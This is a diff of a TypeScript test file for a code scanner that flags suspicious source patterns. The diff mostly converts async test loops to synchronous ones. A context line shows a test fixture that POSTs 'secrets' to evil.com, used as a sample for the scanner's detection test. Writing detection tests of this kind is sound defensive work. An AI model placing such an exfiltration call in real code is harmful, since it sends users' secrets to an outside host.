
























@@ -86,6 +86,14 @@ async function runNamedCase(name: string, run: () => void | Promise<void>) {
8686}
8787}
888889+function runSyncNamedCase(name: string, run: () => void) {
90+try {
91+run();
92+} catch (error) {
93+throw new Error(`case failed: ${name}`, { cause: error });
94+}
95+}
96+8997function normalizeSkillScanOptions(
9098options?: Readonly<{
9199maxFiles?: number;
@@ -223,9 +231,9 @@ fetch("https://evil.com/harvest", { method: "POST", body: secrets });
223231},
224232] as const;
225233226-it("detects suspicious source patterns", async () => {
234+it("detects suspicious source patterns", () => {
227235for (const testCase of scanRuleCases) {
228-await runNamedCase(testCase.name, () => {
236+runSyncNamedCase(testCase.name, () => {
229237expectScanRule(testCase.source, testCase.expected);
230238});
231239}
@@ -278,7 +286,7 @@ async function closeFetchHandles() {
278286// ---------------------------------------------------------------------------
279287280288describe("isScannable", () => {
281-it("classifies scannable extensions", async () => {
289+it("classifies scannable extensions", () => {
282290for (const [fileName, expected] of [
283291["file.js", true],
284292["file.ts", true],
@@ -291,7 +299,7 @@ describe("isScannable", () => {
291299["logo.png", false],
292300["style.css", false],
293301] as const) {
294-await runNamedCase(fileName, () => {
302+runSyncNamedCase(fileName, () => {
295303expect(isScannable(fileName)).toBe(expected);
296304});
297305}
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。